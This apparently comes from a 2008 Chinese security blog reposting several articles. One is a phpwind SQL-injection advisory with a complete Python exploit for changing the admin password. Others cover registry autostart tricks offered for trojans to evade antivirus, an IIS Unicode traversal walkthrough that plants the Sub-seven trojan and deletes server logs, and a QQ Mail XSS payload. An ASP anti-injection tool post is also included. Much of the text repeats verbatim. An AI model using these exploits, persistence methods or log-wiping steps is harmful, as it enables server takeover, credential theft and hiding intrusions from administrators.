phpwind任意修改管理员密码漏洞
[ 2008/08/06 10:53 | by selboo ]
转自 http://www.80sec.com/phpwind-admin-pass-change-vul.html
漏洞说明:PHPWind 论坛系统 是一套采用 php+mysql 数据库方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限。
漏洞厂商:http://www.phpwind.net
漏洞来源:http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt
漏洞解析:在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com/php-coder-class-security-alert.html,但是80sec发现,在phpwind的wap模块中,该编码转换类存在更为严重的问题,甚至没有任何的条件,即使安装了iconv等编码模块一样受到该漏洞的影响,几乎没有条件限制。在phpwind中,wap是默认关闭的,但是我们发现在phpwind<=5.3版本中,变量存在全局没有初始化的问题,导致远程用户可以开启该模块,从而导致一个注射安全漏洞产生。
在phpwind中的注射漏洞中,phpwind过分相信从数据库中取出的变量,从而可能可以更改一些数据处理流程,导致任意修改其他用户的密码,包括管理员,问题代码在wap_mod.php中如下:
甚至不用注册账户,只要精心构造username即可利用此漏洞。
漏洞利用:80sec提供exploit如下:
漏洞修复:请及时打上官方最新补丁 http://www.phpwind.net/read-htm-tid-643202.html
漏洞说明:PHPWind 论坛系统 是一套采用 php+mysql 数据库方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限。
漏洞厂商:http://www.phpwind.net
漏洞来源:http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt
漏洞解析:在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com/php-coder-class-security-alert.html,但是80sec发现,在phpwind的wap模块中,该编码转换类存在更为严重的问题,甚至没有任何的条件,即使安装了iconv等编码模块一样受到该漏洞的影响,几乎没有条件限制。在phpwind中,wap是默认关闭的,但是我们发现在phpwind<=5.3版本中,变量存在全局没有初始化的问题,导致远程用户可以开启该模块,从而导致一个注射安全漏洞产生。
在phpwind中的注射漏洞中,phpwind过分相信从数据库中取出的变量,从而可能可以更改一些数据处理流程,导致任意修改其他用户的密码,包括管理员,问题代码在wap_mod.php中如下:
function wap_login($username,$password){
global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;
$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
if($men){
$e_login=explode("|",$men['onlineip']);
if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
$men_uid=$men['uid'];
$men_pwd=$men['password'];
$check_pwd=$password;
if($men['yz'] > 2){
wap_msg(’c');
}
if(strlen($men_pwd)==16){
$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
}
if($men_pwd==$check_pwd){
if(strlen($men_pwd)==16){
$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);
}
$L_groupid=(int)$men['groupid'];
Cookie(”ck_info”,$db_ckpath.”\t”.$db_ckdomain);
}else{
global $L_T;
$L_T=$e_login[2];
$L_T ? $L_T–:$L_T=5;
$F_login=”$onlineip *|$timestamp|$L_T”;
$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);
wap_msg(’login_pwd_error’);
}
}else{
global $L_T;
$L_T=600-($timestamp-$e_login[1]);
wap_msg(’login_forbid’);
}
} else {
global $errorname;
$errorname=$username;
wap_msg(’user_not_exists’);
}
Cookie(”winduser”,StrCode($men_uid.”\t”.PwdCode($password)));
Cookie(’lastvisit’,”,0);
wap_msg(’wap_login’,'index.php’);
}
global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;
$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
if($men){
$e_login=explode("|",$men['onlineip']);
if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
$men_uid=$men['uid'];
$men_pwd=$men['password'];
$check_pwd=$password;
if($men['yz'] > 2){
wap_msg(’c');
}
if(strlen($men_pwd)==16){
$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
}
if($men_pwd==$check_pwd){
if(strlen($men_pwd)==16){
$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);
}
$L_groupid=(int)$men['groupid'];
Cookie(”ck_info”,$db_ckpath.”\t”.$db_ckdomain);
}else{
global $L_T;
$L_T=$e_login[2];
$L_T ? $L_T–:$L_T=5;
$F_login=”$onlineip *|$timestamp|$L_T”;
$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);
wap_msg(’login_pwd_error’);
}
}else{
global $L_T;
$L_T=600-($timestamp-$e_login[1]);
wap_msg(’login_forbid’);
}
} else {
global $errorname;
$errorname=$username;
wap_msg(’user_not_exists’);
}
Cookie(”winduser”,StrCode($men_uid.”\t”.PwdCode($password)));
Cookie(’lastvisit’,”,0);
wap_msg(’wap_login’,'index.php’);
}
甚至不用注册账户,只要精心构造username即可利用此漏洞。
漏洞利用:80sec提供exploit如下:
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
argvs=sys.argv
data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
pwurl = “%s” % argvs[1]
pwurl = pwurl + “wap/index.php”
print “\r\n\r\nPhpwind Admin Pass Change Exploit”
print “Phpwind <=5.3 "
print "By 80sec "
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1\r\n"
print "\r\n[+]TargetForum: "+argvs[1]
print "[+]TargetId: "+argvs[2]
request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
try :
cookie=headers["set-cookie"]
if cookie.index('winduser') :
print "[+]Exploit Success"
else : print "[-]Exploit Failed"
except:
print "[-]Exploit Failed"
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)
argvs=sys.argv
data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
pwurl = “%s” % argvs[1]
pwurl = pwurl + “wap/index.php”
print “\r\n\r\nPhpwind Admin Pass Change Exploit”
print “Phpwind <=5.3 "
print "By 80sec "
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1\r\n"
print "\r\n[+]TargetForum: "+argvs[1]
print "[+]TargetId: "+argvs[2]
request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
try :
cookie=headers["set-cookie"]
if cookie.index('winduser') :
print "[+]Exploit Success"
else : print "[-]Exploit Failed"
except:
print "[-]Exploit Failed"
漏洞修复:请及时打上官方最新补丁 http://www.phpwind.net/read-htm-tid-643202.html
sql通用防注入3.2 beta
[ 2008/08/04 14:06 | by selboo ]
转自 http://www.neeao.com/blog/
上次发布的版本是:2006年10月12日
原本不打算再更新了,不过最近又有朋友问起了,在测试中确实又发现了一些问题,亲自帮助一个朋友安装调试也发现了一些问题,索性花了点时间修补了下Bug。功能上没有改变,仅仅修补安装时候可能出现的一个bug:
引用
Option Explicit选项打开系统无法正常使用的bug,并且优化了变量定义,防止与用户系统变量重复。
提供一些安装的建议:
1.就是调用主文件的时候,最好采用绝对路径调用,防止因路径问题引起一些不必要的麻烦。
如:
<!--#include virtual="/Neeao.com/Neeao_SqlIn.Asp"-->
2.安装的时候,最好能在文件头部调用,有时候可能有些程序在调用数据库连接文件的时候,并不是在头部,如:
<%
search=Request.QueryString("search")
%>
<!--#include file="inc/conn.asp" -->
search=Request.QueryString("search")
%>
<!--#include file="inc/conn.asp" -->
数据查询语句,将search变量带入sql语句。
这种情况下,虽然conn.asp文件调用了防注入系统,但是一样是没用的,因为sql防注入系统是在变量search通过get获取参数后被调用的,因而就不能防止注入了。
解决方法:将每个文件调用的conn.asp写到代码最上部,比如,上面的:
<!--#include file="inc/conn.asp" -->
<%
search=Request.QueryString("search")
%>
<%
search=Request.QueryString("search")
%>
这样写的话,就能防止search变量被注入了。
其它的想起来了再说吧。
没有太多时间测试,有问题了留言,谢谢。
下载文件 (已下载 140 次)
一般的木马运行添加自启动就会被杀毒软件的主动防御或者360拦截,前几天在网上发现了几个注册表自启动的方法,效果还不错,也算是目前主动防御的一大死角了,连微点竟然也拦截不到.
1.cmd运行前执行的程序(被动启动)
HKEY_CURRENT_USER\Software\Microsoft\Command Processor
AutoRun REG_SZ "xxx.exe"
2.session manager(自启动)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
BootExecute REG_MULIT_SZ "autocheck autochk * xxx"
瑞星就来了一个bsmain,用来开机查毒
不过xxx.exe必须用Native API,不能用Win32API
3.屏幕保护程序(被动启动)
HKEY_USERS\.DEFAULT\Control Panel\Desktop
SCRNSAVE.EXE REG_SZ "xxx.scr"
其实屏幕保护程序scr文件就是PE文件
4.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Run
"MSCONFIG"="%SystemRoot%\\xxx.exe"
——还有很多注册表项更改后,可以实现自启动,这里先写这几个,其他的去要测试.
另外,还有一个偷换控制面板文件来被动启动的方式,控制面板文件在C:\windows\system32\下
的.cpl文件,这个文件类似与dll文件.方法给大家了,至于怎么利用,大家就各显神通吧!
中美黑客对战中的UNICODE漏洞利用
[ 2008/07/08 09:54 | by selboo ]
2001年4月开始,中美黑客又一次在网络上展开了没有硝烟的战斗,这次黑客攻击主要是依靠UNICODE漏洞,利用这个漏洞黑客可以远程调用服务器的cmd命令解释器,对服务器磁盘进行各种操作,配合上传的木马等程序,这个漏洞载当时给互联网带来的威胁是巨大的。
1、UNICODE原理:
此漏洞从中文IIS4.0+SP6开始出现,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。UNICODE是一种编码格式,它可以用两组代码编制一个字符,例如下面在中文Windows2000中的编码规则就是黑客需要利用到的:
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
黑客利用“%c1%1c”和“%c0%2f”两个不完整的编码,通过系统转换可以得到正、反斜杠,这样就可以访问远程服务器上的为开放的目录内容了。例如对于http://www.acc.com/来说,它的webroot目录如果是c:\webroot\,那么当黑客使用http://www.acc.com/scripts/..%c1%1c../winnt/system32/cmd.exe实际上被编码之后是:http://www.acc.com/scripts/../../winnt/system32/cmd.exe,也就是说黑客直接通过浏览器就调用了服务器上的cmd命令解释器,获得了远程执行命令的权限。
2、检测方法:
如果怀疑某个网站存在这个程序,可以通过下面的方法进行检测:
http://www.acc.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
如果系统的确存在漏洞的话,那么浏览器返回的内容将会是对方系统的硬盘目录内容,注意因为UNICODE在不同的系统中有不同的编码,所以不能依靠一组代码确定服务器上不存在这个漏洞。这个时候扫描器就派上了大用场,使用xscanner可以专门对多个UNICODE进行检测,它的使用参数是“-iis”。
3、分析漏洞:
获得了控制台命令的执行权限,就意味着黑客可以执行dir、copy、echo、net等多个命令,也就是说黑客可以浏览、删除服务器硬盘上的文件,还可以使用net命令打开服务器的某个目录的共享状态,然后上传木马并继续使用控制台命令调用木马。
例如http://www.acc.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\game可以使用dir命令列出服务器的c:\game目录中(如果有的话)的文件列表,将“/c+dir+”更改成“/c+del+”既可以删除后面指定的文件了。
4、完整利用:
现在假设学习者手中拥有sub-seven木马和一台已经确认具有UNICODE漏洞的服务器,之后所要做的事情就是单纯的利用浏览器和木马程序就可以完全控制服务器了。
首先利用扫描器找到一台具有IISCODE漏洞的服务器(例如http://www.bnc.org/),然后通过浏览器完成下面的工作:
http://www.bnc.org/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
这样可以通过漏洞看到硬盘上的文件列表,地址行中的“..%c1%1c..”在不同的系统中可能不同,它的意思是经过UNICODE编码转变成符号“../..”,如果看到了文件列表说明漏洞的确存在,之后将cmd.exe文件复制到scripts目录下:
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\webroot\scripts\abc.exe
这样就将cmd.exe程序保存到scripts/目录下,并且将它的文件名更改为abc.exe,如果不更改名称,系统将不会在其他目录中运行cmd.exe。这之后可以用/scripts/abc.exe?/c+dir+c:\game等形式直接调用cmd.exe命令。
使用cmd.exe配合net命令可以在对方的系统上开辟一个共享目录,这个目录可以设置为整个驱动器,有关net use的介绍已经在第二章中提到,在这里不再过多做解释。开辟了共享目录后,既可以通过“网上邻居”直接连接到对方的系统上\\www.bnc.org\,之后上传木马程序sub-seven的服务端到scripts下。
最后调用并激活木马程序/scripts/sub-seven.exe,这样所有入侵工作全部完成了。之后在本地电脑上运行sub-seven的客户端程序,并在IP地址内输入对方的IP,控制对方系统。进入系统之后,要注意删除c:\winnt\log下的日志文件,这样系统管理员就不会发现此次入侵活动了。
1、UNICODE原理:
此漏洞从中文IIS4.0+SP6开始出现,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,台湾繁体中文也同样存在这样的漏洞。UNICODE是一种编码格式,它可以用两组代码编制一个字符,例如下面在中文Windows2000中的编码规则就是黑客需要利用到的:
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
黑客利用“%c1%1c”和“%c0%2f”两个不完整的编码,通过系统转换可以得到正、反斜杠,这样就可以访问远程服务器上的为开放的目录内容了。例如对于http://www.acc.com/来说,它的webroot目录如果是c:\webroot\,那么当黑客使用http://www.acc.com/scripts/..%c1%1c../winnt/system32/cmd.exe实际上被编码之后是:http://www.acc.com/scripts/../../winnt/system32/cmd.exe,也就是说黑客直接通过浏览器就调用了服务器上的cmd命令解释器,获得了远程执行命令的权限。
2、检测方法:
如果怀疑某个网站存在这个程序,可以通过下面的方法进行检测:
http://www.acc.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
如果系统的确存在漏洞的话,那么浏览器返回的内容将会是对方系统的硬盘目录内容,注意因为UNICODE在不同的系统中有不同的编码,所以不能依靠一组代码确定服务器上不存在这个漏洞。这个时候扫描器就派上了大用场,使用xscanner可以专门对多个UNICODE进行检测,它的使用参数是“-iis”。
3、分析漏洞:
获得了控制台命令的执行权限,就意味着黑客可以执行dir、copy、echo、net等多个命令,也就是说黑客可以浏览、删除服务器硬盘上的文件,还可以使用net命令打开服务器的某个目录的共享状态,然后上传木马并继续使用控制台命令调用木马。
例如http://www.acc.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\game可以使用dir命令列出服务器的c:\game目录中(如果有的话)的文件列表,将“/c+dir+”更改成“/c+del+”既可以删除后面指定的文件了。
4、完整利用:
现在假设学习者手中拥有sub-seven木马和一台已经确认具有UNICODE漏洞的服务器,之后所要做的事情就是单纯的利用浏览器和木马程序就可以完全控制服务器了。
首先利用扫描器找到一台具有IISCODE漏洞的服务器(例如http://www.bnc.org/),然后通过浏览器完成下面的工作:
http://www.bnc.org/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
这样可以通过漏洞看到硬盘上的文件列表,地址行中的“..%c1%1c..”在不同的系统中可能不同,它的意思是经过UNICODE编码转变成符号“../..”,如果看到了文件列表说明漏洞的确存在,之后将cmd.exe文件复制到scripts目录下:
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+cmd.exe+c:\webroot\scripts\abc.exe
这样就将cmd.exe程序保存到scripts/目录下,并且将它的文件名更改为abc.exe,如果不更改名称,系统将不会在其他目录中运行cmd.exe。这之后可以用/scripts/abc.exe?/c+dir+c:\game等形式直接调用cmd.exe命令。
使用cmd.exe配合net命令可以在对方的系统上开辟一个共享目录,这个目录可以设置为整个驱动器,有关net use的介绍已经在第二章中提到,在这里不再过多做解释。开辟了共享目录后,既可以通过“网上邻居”直接连接到对方的系统上\\www.bnc.org\,之后上传木马程序sub-seven的服务端到scripts下。
最后调用并激活木马程序/scripts/sub-seven.exe,这样所有入侵工作全部完成了。之后在本地电脑上运行sub-seven的客户端程序,并在IP地址内输入对方的IP,控制对方系统。进入系统之后,要注意删除c:\winnt\log下的日志文件,这样系统管理员就不会发现此次入侵活动了。
QQ Mail跨站脚本漏洞
[ 2008/07/08 09:07 | by selboo ]
漏洞说明:QQ Mail是Tencent公司提供的webmail服务,你可以使用你的QQ帐户来登陆使用Mail服务,具体的信息可以访问http://mail.qq.com/。但是80sec团队成员在QQ Mail里发现存在跨站脚本漏洞,恶意用户可以通过该漏洞在邮件里伪造登陆表单窃取目标用户的密码以及偷取Cookie以取得其他用户的身份,或者使用ajax等技术读取用户的敏感信息。
漏洞成因:QQ Mail的Javascript Dom部分在处理邮件内容,对邮件内容字符串的处理分为str和code两个流程,通过组合的标签内容可以误导Javascript处理图片内容和文字链接进入str流程,将HTML编码字符串还原为HTML标签。
漏洞测试:(已经修复)
发送如下内容即可引发XSS
<div><img src="http://src=" onerror="alert(x111)"></div>
漏洞解析:
QQ Mail会自动解析邮件内容,发现匹配的链接将转换成HTML内容,由LinkMaker函数实现:
function LinkMaker( str ) {
return str.replace( /(https?:\/\/[\w.]+[^ \f\n\r\t\v\"\\\<\>\[\]\u2100-\uFFFF]*)|([a-zA-Z_0-9.-]+@[a-zA-Z_0-9.-]+\.\w+)/ig, function( s, v1, v2 ) {
if ( v2 )
return [ '<a href="mailto:', v2, '">', v2, '</a>' ].join( “” );
else
return [ '<a href="', s, '">', s, '</a>' ].join( “” );
} );
return str.replace( /(https?:\/\/[\w.]+[^ \f\n\r\t\v\"\\\<\>\[\]\u2100-\uFFFF]*)|([a-zA-Z_0-9.-]+@[a-zA-Z_0-9.-]+\.\w+)/ig, function( s, v1, v2 ) {
if ( v2 )
return [ '<a href="mailto:', v2, '">', v2, '</a>' ].join( “” );
else
return [ '<a href="', s, '">', s, '</a>' ].join( “” );
} );
SwapImg函数处理邮件中IMG标签:
function SwapImg(id, ajustValue)
{
var as = GelTags("img", S(id));
for (var i = 0; i < as.length; i++)
{
if (as[i].src)
{
ZoomImgToBody(as[i], ajustValue);
as[i].onload = function()
{
ZoomImgToBody(this, ajustValue, true);
};
}
}
}
{
var as = GelTags("img", S(id));
for (var i = 0; i < as.length; i++)
{
if (as[i].src)
{
ZoomImgToBody(as[i], ajustValue);
as[i].onload = function()
{
ZoomImgToBody(this, ajustValue, true);
};
}
}
}
进入str流程将会使用DOM中的innerText和textContent处理字符串,邮件中的HTML编码字符串转成HTML标签(<将转换成”<”,>将转换成”>”),如下的测试:
<div id="contentDiv" class="body"><div> </div>
<div><img src="" onerror="alert(1);"></div></div>
<script>
v=document.getElementById("contentDiv").innerText; //ie
//v=document.getElementById("contentDiv").textContent; //FIREFOX
alert(v)
</script>
<div><img src="" onerror="alert(1);"></div></div>
<script>
v=document.getElementById("contentDiv").innerText; //ie
//v=document.getElementById("contentDiv").textContent; //FIREFOX
alert(v)
</script>
漏洞状态:
80sec于7.4号发现此漏洞
80sec于7.4号通知官方
Tencent于7.4号修复此漏洞
80sec于7.7号发布此漏洞公告
漏洞解决:
QQ Mail已经修补漏洞,转义字符串中的”<” ,”>”.
修改js在http://res.mail.qq.com/zh_CN/htmledition20080626/js/all.js
var str = obj.nodeValue.replace(/</g,"<").replace(/>/g,">"); //1993行
建议程序员使用DOM中的元素的时候要注意安全问题,这些元素还是由用户输入中带来的,使用之前还是需要过滤。
感谢幻影dummy和luoluo提供和调试该漏洞。
本站内容均为原创,转载请务必保留署名与链接!
QQ Mail跨站脚本漏洞:http://www.80sec.com/qqmail-xss.html